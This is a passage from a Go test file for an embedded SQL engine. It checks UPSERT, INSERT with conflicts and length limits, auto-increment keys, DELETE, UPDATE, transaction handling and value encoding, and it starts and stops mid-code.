ctxs[0].UpdatedRows(), 1)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, amount, active) VALUES (2, 10, true)\", nil)\n\trequire.ErrorIs(t, err, store.ErrKeyAlreadyExists)\n\n\tt.Run(\"row with pk 1 should have active in false\", func(t *testing.T) {\n\t\t_, ctxs, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, amount, active) VALUES (1, 20, false)\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Equal(t, ctxs[0].UpdatedRows(), 1)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT amount, active FROM table1 WHERE id = 1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Len(t, row.ValuesBySelector, 2)\n\t\trequire.Equal(t, int64(20), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"amount\")].RawValue())\n\t\trequire.False(t, row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")].RawValue().(bool))\n\t\trequire.Len(t, row.ValuesByPosition, 2)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"amount\")])\n\t\trequire.Equal(t, row.ValuesByPosition[1], row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")])\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"row with pk 1 should have active in true\", func(t *testing.T) {\n\t\t_, ctxs, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, amount, active) VALUES (1, 10, true)\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Equal(t, ctxs[0].UpdatedRows(), 1)\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT amount, active FROM table1 WHERE id = 1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Len(t, row.ValuesBySelector, 2)\n\t\trequire.Equal(t, int64(10), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"amount\")].RawValue())\n\t\trequire.True(t, row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")].RawValue().(bool))\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (Id, Title, Active) VALUES (1, 'some title', false)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (Id, Title, Amount, Active) VALUES (1, 'some title', 100, false)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title, amount, active) VALUES (2, 'another title', 200, true)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id) VALUES (1, 'yat')\", nil)\n\trequire.ErrorIs(t, err, ErrInvalidNumberOfValues)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, id) VALUES (1, 2)\", nil)\n\trequire.ErrorIs(t, err, ErrDuplicatedColumn)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, active) VALUES ('1a', true)\", nil)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.ErrorIs(t, err, ErrUnsupportedCast)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, active) VALUES (NULL, false)\", nil)\n\trequire.ErrorIs(t, err, ErrPKCanNotBeNull)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title, active) VALUES (2, NULL, true)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (title, active) VALUES ('interesting title', true)\", nil)\n\trequire.ErrorIs(t, err, ErrPKCanNotBeNull)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestUpsertIntoSelect(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil, `CREATE TABLE table1 (\n\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\tmeta JSON,\n\n\t\t\t\tPRIMARY KEY id\n\t\t\t)`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil, `CREATE TABLE table2 (\n\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\tname VARCHAR,\n\t\t\t\tage INTEGER,\n\t\t\t\tactive BOOLEAN,\n\t\t\t\tcreated_at TIMESTAMP,\n\n\t\t\t\tPRIMARY KEY id\n\t\t\t)`, nil)\n\trequire.NoError(t, err)\n\n\tn := 100\n\tfor i := 0; i < n; i++ {\n\t\tname := fmt.Sprintf(\"name%d\", i)\n\t\tage := 10 + rand.Intn(50)\n\t\tactive := rand.Intn(2) == 1\n\n\t\tupsert := fmt.Sprintf(\n\t\t\t`INSERT INTO table1 (meta) VALUES ('{\"name\": \"%s\", \"age\": %d, \"active\": %t, \"createdAt\": \"%s\"}')`,\n\t\t\tname,\n\t\t\tage,\n\t\t\tactive,\n\t\t\ttime.Now().Format(\"2006-01-02 15:04:05.999999\"),\n\t\t)\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\tupsert,\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`INSERT INTO table2(name, age, active, created_at)\n\t\t\tSELECT meta->'name', meta->'age', meta->'active', meta->'createdAt'::TIMESTAMP\n\t\t\tFROM table1\n\t\t`,\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\trows, err := engine.queryAll(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`SELECT t1.meta->'name' = t2.name, t1.meta->'age' = t2.age, t1.meta->'active' = t2.active, t1.meta->'createdAt'::TIMESTAMP = t2.created_at\n\t\tFROM table1 AS t1 JOIN table2 AS t2 on t1.id = t2.id`,\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\trequire.Len(t, rows, 100)\n\n\tfor _, row := range rows {\n\t\trequire.Len(t, row.ValuesByPosition, 4)\n\n\t\tfor _, v := range row.ValuesByPosition {\n\t\t\trequire.True(t, v.RawValue().(bool))\n\t\t}\n\t}\n}\n\nfunc TestInsertIntoEdgeCases(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE UNIQUE INDEX ON table1 (title)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1 (active)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1 (payload)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1')\", nil)\n\trequire.NoError(t, err)\n\n\tt.Run(\"on conflict cases\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1')\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrKeyAlreadyExists)\n\n\t\tntx, ctxs, err := engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1') ON CONFLICT DO NOTHING\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Nil(t, ntx)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Zero(t, ctxs[0].UpdatedRows())\n\t\trequire.Nil(t, ctxs[0].TxHeader())\n\t})\n\n\tt.Run(\"on conflict case with multiple rows\", func(t *testing.T) {\n\t\tntx, ctxs, err := engine.Exec(context.Background(), nil, `\n\t\t\tINSERT INTO table1 (id, title, active, payload)\n\t\t\tVALUES\n\t\t\t\t(1, 'title1', true, x'00A1'),\n\t\t\t\t(11, 'title11', true, x'00B1')\n\t\t\tON CONFLICT DO NOTHING`, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Nil(t, ntx)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Equal(t, 1, ctxs[0].UpdatedRows())\n\t\trequire.NotNil(t, ctxs[0].TxHeader())\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title11', true, x'00B1')\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrKeyAlreadyExists)\n\t})\n\n\tt.Run(\"varchar key cases\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title123456789', true, x'00A1')\", nil)\n\t\trequire.ErrorIs(t, err, ErrMaxLengthExceeded)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, active, payload) VALUES (2, 10, true, '00A1')\", nil)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\t})\n\n\tt.Run(\"boolean key cases\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', 'true', x'00A1')\", nil)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\t})\n\n\tt.Run(\"blob key cases\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', true, x'00A100A2')\", nil)\n\t\trequire.ErrorIs(t, err, ErrMaxLengthExceeded)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', true, '00A100A2')\", nil)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\t})\n\n\tt.Run(\"insertion in table with varchar pk\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE languages (code VARCHAR[128],name VARCHAR[255],PRIMARY KEY code)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO languages (code,name) VALUES ('code1', 'name1')\", nil)\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestAutoIncrementPK(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\tt.Run(\"invalid use of auto-increment\", func(t *testing.T) {\n\t\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR AUTO_INCREMENT, PRIMARY KEY id)\", nil)\n\t\trequire.ErrorIs(t, err, ErrLimitedAutoIncrement)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER AUTO_INCREMENT, PRIMARY KEY id)\", nil)\n\t\trequire.ErrorIs(t, err, ErrLimitedAutoIncrement)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id VARCHAR AUTO_INCREMENT, title VARCHAR, PRIMARY KEY id)\", nil)\n\t\trequire.ErrorIs(t, err, ErrLimitedAutoIncrement)\n\t})\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(), nil,\n\t\t`\n\t\t\tCREATE TABLE table1 (\n\t\t\t\tid INTEGER NOT NULL AUTO_INCREMENT,\n\t\t\t\ttitle VARCHAR,\n\t\t\t\tactive BOOLEAN,\n\t\t\t\tPRIMARY KEY id\n\t\t\t)\n\t`, nil)\n\trequire.NoError(t, err)\n\n\t_, ctxs, err := engine.Exec(context.Background(), nil, \"INSERT INTO table1(title) VALUES ('name1')\", nil)\n\trequire.NoError(t, err)\n\trequire.Len(t, ctxs, 1)\n\trequire.True(t, ctxs[0].Closed())\n\trequire.Equal(t, int64(1), ctxs[0].LastInsertedPKs()[\"table1\"])\n\trequire.Equal(t, int64(1), ctxs[0].FirstInsertedPKs()[\"table1\"])\n\trequire.Equal(t, 1, ctxs[0].UpdatedRows())\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(id, title) VALUES (1, 'name2')\", nil)\n\trequire.ErrorIs(t, err, store.ErrKeyAlreadyExists)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(id, title) VALUES (1, 'name2') ON CONFLICT DO NOTHING\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1(id, title) VALUES (1, 'name11')\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(id, title) VALUES (3, 'name3')\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1(id, title) VALUES (5, 'name5')\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(id, title) VALUES (2, 'name2')\", nil)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1(id, title) VALUES (2, 'name2')\", nil)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1(id, title) VALUES (3, 'name33')\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(id, title) VALUES (5, 'name55')\", nil)\n\trequire.ErrorIs(t, err, store.ErrKeyAlreadyExists)\n\n\t_, ctxs, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(title) VALUES ('name6')\", nil)\n\trequire.NoError(t, err)\n\trequire.Len(t, ctxs, 1)\n\trequire.True(t, ctxs[0].Closed())\n\trequire.Equal(t, int64(6), ctxs[0].FirstInsertedPKs()[\"table1\"])\n\trequire.Equal(t, int64(6), ctxs[0].LastInsertedPKs()[\"table1\"])\n\trequire.Equal(t, 1, ctxs[0].UpdatedRows())\n\n\t_, ctxs, err = engine.Exec(\n\t\tcontext.Background(), nil,\n\t\t`\n\t\tBEGIN TRANSACTION;\n\t\t\tINSERT INTO table1(title) VALUES ('name7');\n\t\t\tINSERT INTO table1(title) VALUES ('name8');\n\t\tCOMMIT;\n\t`, nil)\n\trequire.NoError(t, err)\n\trequire.Len(t, ctxs, 1)\n\trequire.True(t, ctxs[0].Closed())\n\trequire.Equal(t, int64(7), ctxs[0].FirstInsertedPKs()[\"table1\"])\n\trequire.Equal(t, int64(8), ctxs[0].LastInsertedPKs()[\"table1\"])\n\trequire.Equal(t, 2, ctxs[0].UpdatedRows())\n}\n\nfunc TestDelete(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(), nil,\n\t\t`CREATE TABLE table1 (\n\t\tid INTEGER,\n\t\ttitle VARCHAR[50],\n\t\tactive BOOLEAN,\n\t\tPRIMARY KEY id\n\t)`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE UNIQUE INDEX ON table1(title)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(active)\", nil)\n\trequire.NoError(t, err)\n\n\tparams, err := engine.InferParameters(context.Background(), nil, \"DELETE FROM table1 WHERE active = @active\")\n\trequire.NoError(t, err)\n\trequire.NotNil(t, params)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, params[\"active\"], BooleanType)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"DELETE FROM table2\", nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"DELETE FROM table1 WHERE name = 'name1'\", nil)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\tt.Run(\"delete on empty table should complete without issues\", func(t *testing.T) {\n\t\t_, ctxs, err := engine.Exec(context.Background(), nil, \"DELETE FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Zero(t, ctxs[0].UpdatedRows())\n\t})\n\n\trowCount := 10\n\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\tfmt.Sprintf(`\n\t\t\tINSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v)`, i, i, i%2 == 0), nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"deleting with contradiction should not produce any change\", func(t *testing.T) {\n\t\t_, ctxs, err := engine.Exec(context.Background(), nil, \"DELETE FROM table1 WHERE false\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Zero(t, ctxs[0].UpdatedRows())\n\t})\n\n\tt.Run(\"deleting active rows should remove half of the rows\", func(t *testing.T) {\n\t\t_, ctxs, err := engine.Exec(context.Background(), nil, \"DELETE FROM table1 WHERE active = @active\", map[string]interface{}{\"active\": true})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Equal(t, rowCount/2, ctxs[0].UpdatedRows())\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*) FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, row.ValuesBySelector, 1)\n\t\trequire.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col0\")].RawValue())\n\t\trequire.Len(t, row.ValuesByPosition, 1)\n\t\trequire.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col0\")])\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\tr, err = engine.Query(context.Background(), nil, \"SELECT COUNT(*) FROM table1 WHERE active\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col0\")].RawValue())\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestErrorDuringDelete(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(), nil,\n\t\t`\n\t\tcreate table mytable(name varchar[30], primary key name);\n\t\tinsert into mytable(name) values('name1');\n\t`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"delete FROM mytable where name=name1\", nil)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"delete FROM mytable where name='name1'\", nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestUpdate(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(), nil,\n\t\t`CREATE TABLE table1 (\n\t\tid INTEGER,\n\t\ttitle VARCHAR[50],\n\t\tactive BOOLEAN,\n\t\tPRIMARY KEY id\n\t)`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE UNIQUE INDEX ON table1(title)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(active)\", nil)\n\trequire.NoError(t, err)\n\n\tparams, err := engine.InferParameters(context.Background(), nil, \"UPDATE table1 SET active = @active\")\n\trequire.NoError(t, err)\n\trequire.NotNil(t, params)\n\trequire.Len(t, params, 1)\n\trequire.Equal(t, params[\"active\"], BooleanType)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPDATE table2 SET active = false\", nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPDATE table1 SET name = 'name1'\", nil)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\tt.Run(\"update on empty table should complete without issues\", func(t *testing.T) {\n\t\t_, ctxs, err := engine.Exec(context.Background(), nil, \"UPDATE table1 SET active = false\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Zero(t, ctxs[0].UpdatedRows())\n\t})\n\n\trowCount := 10\n\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\tfmt.Sprintf(`\n\t\t\tINSERT INTO table1 (id, title, active) VALUES (%d, 'title%d', %v)`, i, i, i%2 == 0), nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"updating with contradiction should not produce any change\", func(t *testing.T) {\n\t\t_, ctxs, err := engine.Exec(context.Background(), nil, \"UPDATE table1 SET active = false WHERE false\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Zero(t, ctxs[0].UpdatedRows())\n\t})\n\n\tt.Run(\"updating specific row should update only one row\", func(t *testing.T) {\n\t\t_, ctxs, err := engine.Exec(context.Background(), nil, \"UPDATE table1 SET active = true WHERE title = @title\", map[string]interface{}{\"title\": \"title1\"})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 1)\n\t\trequire.Equal(t, 1, ctxs[0].UpdatedRows())\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*) FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col0\")].RawValue())\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\tr, err = engine.Query(context.Background(), nil, \"SELECT COUNT(*) FROM table1 WHERE active\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, int64(rowCount/2+1), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col0\")].RawValue())\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestErrorDuringUpdate(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(), nil,\n\t\t`\n\t\tcreate table mytable(id varchar[128], value integer, primary key id);\n\t\tinsert into mytable(id, value) values('aa',12), ('ab',13);\n\t`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"update mytable set value=@val where id=@id\", nil)\n\trequire.ErrorIs(t, err, ErrMissingParameter)\n\n\tparams := make(map[string]interface{})\n\tparams[\"id\"] = \"ab\"\n\tparams[\"val\"] = 15\n\t_, _, err = engine.Exec(context.Background(), nil, \"update mytable set value=@val where id=@id\", params)\n\trequire.NoError(t, err)\n}\n\nfunc TestTransactions(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(), nil, `CREATE TABLE table1 (\n\t\t\t\t\t\t\t\t\tid INTEGER,\n\t\t\t\t\t\t\t\t\ttitle VARCHAR,\n\t\t\t\t\t\t\t\t\tPRIMARY KEY id\n\t\t\t\t\t\t\t\t)`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\tCOMMIT;\n\t\t`, nil)\n\trequire.ErrorIs(t, err, ErrNoOngoingTx)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\tBEGIN TRANSACTION;\n\t\t\tCREATE INDEX ON table2(title);\n\t\tCOMMIT;\n\t\t`, nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\tBEGIN TRANSACTION;\n\t\t\tUPSERT INTO table1 (id, title) VALUES (1, 'title1');\n\t\t\tUPSERT INTO table1 (id, title) VALUES (2, 'title2');\n\t\tCOMMIT;\n\t\t`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\tBEGIN TRANSACTION;\n\t\t\tCREATE TABLE table2 (id INTEGER, title VARCHAR[100], age INTEGER, PRIMARY KEY id);\n\t\t\tCREATE INDEX ON table2(title);\n\t\tCOMMIT;\n\t\t`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\tBEGIN;\n\t\t\tCREATE INDEX ON table2(age);\n\t\t\tINSERT INTO table2 (id, title, age) VALUES (1, 'title1', 40);\n\t\tCOMMIT;\n\t\t`, nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestTransactionsEdgeCases(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithAutocommit(true))\n\trequire.NoError(t, err)\n\n\tt.Run(\"nested tx are not supported\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil, `\n\t\tBEGIN TRANSACTION;\n\t\t\tBEGIN TRANSACTION;\n\t\t\t\tCREATE TABLE table1 (\n\t\t\t\t\tid INTEGER,\n\t\t\t\t\ttitle VARCHAR,\n\t\t\t\t\tPRIMARY KEY id\n\t\t\t\t);\n\t\t\tCOMMIT;\n\t\tCOMMIT;\n\t\t`, nil)\n\t\trequire.ErrorIs(t, err, ErrNestedTxNotSupported)\n\t})\n\n\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\tCREATE TABLE table1 (\n\t\t\tid INTEGER,\n\t\t\ttitle VARCHAR,\n\t\t\tPRIMARY KEY id\n\t\t)`, nil)\n\trequire.NoError(t, err)\n\n\tt.Run(\"rollback without explicit transaction should return error\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\t\tUPSERT INTO table1 (id, title) VALUES (1, 'title1');\n\t\t\tROLLBACK;\n\t\t`, nil)\n\t\trequire.ErrorIs(t, err, ErrNoOngoingTx)\n\t})\n\n\tt.Run(\"auto-commit should automatically commit ongoing tx\", func(t *testing.T) {\n\t\tntx, ctxs, err := engine.Exec(context.Background(), nil, `\n\t\t\tUPSERT INTO table1 (id, title) VALUES (1, 'title1');\n\t\t\tUPSERT INTO table1 (id, title) VALUES (2, 'title2');\n\t\t`, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 2)\n\t\trequire.Nil(t, ntx)\n\t})\n\n\tt.Run(\"explicit tx initialization should automatically commit ongoing tx\", func(t *testing.T) {\n\t\tengine.autocommit = false\n\n\t\tntx, ctxs, err := engine.Exec(context.Background(), nil, `\n\t\t\tUPSERT INTO table1 (id, title) VALUES (3, 'title3');\n\t\t\tBEGIN TRANSACTION;\n\t\t\t\tUPSERT INTO table1 (id, title) VALUES (4, 'title4');\n\t\t\tCOMMIT;\n\t\t`, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctxs, 2)\n\t\trequire.Nil(t, ntx)\n\t})\n}\n\nfunc TestUseSnapshot(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, title VARCHAR, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"USE SNAPSHOT SINCE TX 1\", nil)\n\trequire.ErrorIs(t, err, ErrNoSupported)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `\n\t\tBEGIN TRANSACTION;\n\t\t\tUPSERT INTO table1 (id, title) VALUES (1, 'title1');\n\t\t\tUPSERT INTO table1 (id, title) VALUES (2, 'title2');\n\t\tCOMMIT;\n\t\t`, nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestEncodeValue(t *testing.T) {\n\tb, err := EncodeValue(&Integer{val: int64(1)}, IntegerType, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b)\n\n\tb, err = EncodeValue(&Integer{val: 